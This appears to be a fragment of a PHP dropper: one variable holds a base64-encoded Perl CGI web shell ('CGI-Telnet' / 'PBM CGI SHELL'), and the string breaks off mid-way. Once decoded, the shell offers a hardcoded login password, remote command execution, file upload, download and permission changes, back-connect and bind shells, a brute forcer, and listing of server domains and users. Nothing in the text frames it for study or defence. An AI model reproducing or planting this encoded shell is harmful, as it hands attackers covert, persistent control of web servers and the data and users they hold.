    $lamot = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojMDBmZjAwOyBmb250LXdlaWdodDpib2xkOyc+UEJNIFNIRUxMPC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJvbGVua3RlYSI7ICAgICAgICAgDQogICAgICAgICAgICANCnN1YiBJc19XaW4oKXsNCiAgICRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCiAgIGlmKCRvcyA9fiBtL3dpbi9pKXsNCiAgICAgIHJldHVybiAxOw0KICAgfQ0KICAgZWxzZXsNCiAgICAgIHJldHVybiAwOw0KICAgfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOyAgICAgICAgICAgICMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCiAgICAgICAgICAgICAgICAgICAgICAgICMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQogICAgICAgICAgICAgICAgICAgICAgICAjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KICAgICAgICAgICAgICAgICAgICAgICAgIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7ICAgICAgICAgICAgIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCiAgICAgICAgICAgICAgICAgICAgICAgICMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7ICAgICAgICAgICAgIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCiAgICAgICAgICAgICAgICAgICAgICAgICMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsgICAjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KICAgICAgICAgICAgICAgICAgICAgICAgIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCiAgICAgICAgICAgICAgICAgICAgICAgICMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCiAgICAgICAgICAgICAgICAgICAgICAgICMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCiAgICAgICAgICAgICAgICAgICAgICAgICMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCiAgICAgICAgICAgICAgICAgICAgICAgICMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOyAgICAgICAgICMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCiAgICAgICAgICAgICAgICAgICAgICAgICMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQogICAgICAgICAgICAgICAgICAgICAgICAjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCiAgICAgICAgICAgICAgICAgICAgICAgICMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KICAgICAgICAgICAgICAgICAgICAgICAgIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCiAgICAgICAgICAgICAgICAgICAgICAgICMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCiAgIGxvY2FsICgqaW4pID0gQF8gaWYgQF87DQogICBsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KICAgDQogICAkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCg0KICAgaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCiAgIHsNCiAgICAgICRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KICAgfQ0KICAgZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQogICB7DQogICAgICBiaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQogICAgICByZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KICAgfQ0KDQogICAjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQogICBpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCiAgIHsNCiAgICAgICRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQogICAgICBAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCiAgICAgICRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQogICAgICAkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQogICAgICAkSGVhZGVyID0gJGA7DQogICAgICAkQm9keSA9ICQnOw0KICAgICAgICRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCiAgICAgICRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KICAgICAgJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCiAgICAgICRpbnsnZid9ID0gJDE7IA0KICAgICAgJGlueydmJ30gPX4gcy9cIi8vZzsNCiAgICAgICRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCiAgICAgICMgcGFyc2UgdHJhaWxlcg0KICAgICAgZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCiAgICAgIHsgDQogICAgICAgICAkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCiAgICAgICAgICRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCiAgICAgICAgICRrZXkgPSAkMTsNCiAgICAgICAgICR2YWwgPSAkJzsNCiAgICAgICAgICR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQogICAgICAgICAkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KICAgICAgICAgJGlueyRrZXl9ID0gJHZhbDsgDQogICAgICB9DQogICB9DQogICBlbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCiAgIHsNCiAgICAgIEBpbiA9IHNwbGl0KC8mLywgJGluKTsNCiAgICAgIGZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCiAgICAgIHsNCiAgICAgICAgICRpblskaV0gPX4gcy9cKy8gL2c7DQogICAgICAgICAoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KICAgICAgICAgJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCiAgICAgICAgICR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQogICAgICAgICAkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCiAgICAgICAgICRpbnska2V5fSAuPSAkdmFsOw0KICAgICAgfQ0KICAgfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQogICAkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCiAgICRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQogICBteSAkZGlyID0kQ3VycmVudERpcjsNCiAgICRkaXI9fiBzL1xcL1xcXFwvZzsNCiAgIHByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KICAgcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPlBCTSBDR0kgU0hFTEwgVi41PC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogIzJCQThFQzsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlciAgICAgICAgIDogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlciAgICAgICAgIDogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCiAgIENPTE9SOiAjMDBGRjAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQogICBDT0xPUjogIzAwRkYwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCiAgIHRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCiAgIGNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCiAgIGNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCiAgIGJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCiAgIGJhY2tncm91bmQ6ICM0NDQ7DQogICB0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQogICBjb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQogICBiYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQogICBiYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQogICAvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCiAgIHZhciBhamF4PSIiOw0KICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCiAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQogICByZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KICAgdmFyIGFqYXg9IiI7DQogICBmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCiAgIHZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCiAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCiAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQogICBpZihmPT0nZicpDQogICB7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCiAgIH1lbHNlDQogICB7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQogICB9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KICAgPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCiAgICAgIDxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQogICA8L3RkPg0KDQogICA8dGQ+DQoNCiAgICAgIDxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KICAgPC90ZD4NCiAgIDx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNDQzAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjZmZjYzAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KICAgPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQogICBwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOyAgIC8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7ICAgLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8Ijs